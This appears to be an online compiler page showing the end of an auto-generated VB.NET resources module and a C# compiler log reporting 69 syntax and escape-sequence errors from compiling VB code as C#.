  826. Resources.resourceMan = resourceManager
  827. End If
  828. Return Resources.resourceMan
  829. End Get
  830. End Property
  831.  
  832. <EditorBrowsable(EditorBrowsableState.Advanced)>
  833. Friend Property Culture() As CultureInfo
  834. Get
  835. Return Resources.resourceCulture
  836. End Get
  837. Set(value As CultureInfo)
  838. Resources.resourceCulture = value
  839. End Set
  840. End Property
  841. End Module
  842. End Namespace
  843.  
Compilation error #stdin compilation error #stdout 0s 0KB
stdin
Standard input is empty
compilation info
prog.cs(1,3): error CS1012: Too many characters in character literal
prog.cs(2,1): error CS1525: Unexpected symbol ` '
prog.cs(2,3): error CS1012: Too many characters in character literal
prog.cs(4,3): error CS1012: Too many characters in character literal
prog.cs(5,3): error CS1012: Too many characters in character literal
prog.cs(6,3): error CS1012: Too many characters in character literal
prog.cs(33,67): error CS1525: Unexpected symbol `Or'
prog.cs(64,36): error CS1525: Unexpected symbol `('
prog.cs(70,46): error CS1525: Unexpected symbol `('
prog.cs(181,49): error CS1525: Unexpected symbol `('
prog.cs(204,49): error CS1525: Unexpected symbol `('
prog.cs(473,68): error CS1525: Unexpected symbol `('
prog.cs(475,79): error CS1525: Unexpected symbol `('
prog.cs(486,27): error CS1012: Too many characters in character literal
prog.cs(527,54): error CS1525: Unexpected symbol `('
prog.cs(543,57): error CS1525: Unexpected symbol `('
prog.cs(557,62): error CS1525: Unexpected symbol `('
prog.cs(583,24): error CS1525: Unexpected symbol `End'
prog.cs(690,46): error CS1525: Unexpected symbol `('
prog.cs(765,127): error CS1525: Unexpected symbol `,'
prog.cs(766,27): error CS1012: Too many characters in character literal
prog.cs(780,70): error CS1009: Unrecognized escape sequence `\G'
prog.cs(780,77): error CS1009: Unrecognized escape sequence `\C'
prog.cs(780,86): error CS1009: Unrecognized escape sequence
prog.cs(780,94): error CS1009: Unrecognized escape sequence `\D'
prog.cs(780,102): error CS1009: Unrecognized escape sequence `\P'
prog.cs(782,66): error CS1009: Unrecognized escape sequence `\G'
prog.cs(782,73): error CS1009: Unrecognized escape sequence `\C'
prog.cs(782,82): error CS1009: Unrecognized escape sequence
prog.cs(782,90): error CS1009: Unrecognized escape sequence `\D'
prog.cs(782,98): error CS1009: Unrecognized escape sequence `\P'
prog.cs(787,51): error CS1009: Unrecognized escape sequence `\W'
prog.cs(787,59): error CS1009: Unrecognized escape sequence `\F'
prog.cs(787,70): error CS1009: Unrecognized escape sequence `\C'
prog.cs(789,113): error CS1009: Unrecognized escape sequence `\W'
prog.cs(789,121): error CS1009: Unrecognized escape sequence `\F'
prog.cs(789,132): error CS1009: Unrecognized escape sequence `\C'
prog.cs(791,51): error CS1009: Unrecognized escape sequence `\W'
prog.cs(791,59): error CS1009: Unrecognized escape sequence `\F'
prog.cs(791,70): error CS1009: Unrecognized escape sequence `\C'
prog.cs(791,74): error CS1009: Unrecognized escape sequence `\i'
prog.cs(793,108): error CS1009: Unrecognized escape sequence `\W'
prog.cs(793,116): error CS1009: Unrecognized escape sequence `\F'
prog.cs(793,127): error CS1009: Unrecognized escape sequence `\C'
prog.cs(793,131): error CS1009: Unrecognized escape sequence `\i'
prog.cs(795,51): error CS1009: Unrecognized escape sequence `\W'
prog.cs(795,59): error CS1009: Unrecognized escape sequence `\F'
prog.cs(795,70): error CS1009: Unrecognized escape sequence `\C'
prog.cs(795,74): error CS1009: Unrecognized escape sequence `\j'
prog.cs(797,119): error CS1009: Unrecognized escape sequence `\W'
prog.cs(797,127): error CS1009: Unrecognized escape sequence `\F'
prog.cs(797,138): error CS1009: Unrecognized escape sequence `\C'
prog.cs(797,142): error CS1009: Unrecognized escape sequence `\j'
prog.cs(799,51): error CS1009: Unrecognized escape sequence `\W'
prog.cs(799,59): error CS1009: Unrecognized escape sequence `\F'
prog.cs(799,70): error CS1009: Unrecognized escape sequence `\C'
prog.cs(799,74): error CS1009: Unrecognized escape sequence `\m'
prog.cs(801,113): error CS1009: Unrecognized escape sequence `\W'
prog.cs(801,121): error CS1009: Unrecognized escape sequence `\F'
prog.cs(801,132): error CS1009: Unrecognized escape sequence `\C'
prog.cs(801,136): error CS1009: Unrecognized escape sequence `\m'
prog.cs(803,51): error CS1009: Unrecognized escape sequence `\W'
prog.cs(803,59): error CS1009: Unrecognized escape sequence `\F'
prog.cs(803,70): error CS1009: Unrecognized escape sequence `\C'
prog.cs(803,74): error CS1009: Unrecognized escape sequence `\s'
prog.cs(805,109): error CS1009: Unrecognized escape sequence `\W'
prog.cs(805,117): error CS1009: Unrecognized escape sequence `\F'
prog.cs(805,128): error CS1009: Unrecognized escape sequence `\C'
prog.cs(805,132): error CS1009: Unrecognized escape sequence `\s'
Compilation failed: 69 error(s), 0 warnings
stdout
Standard output is empty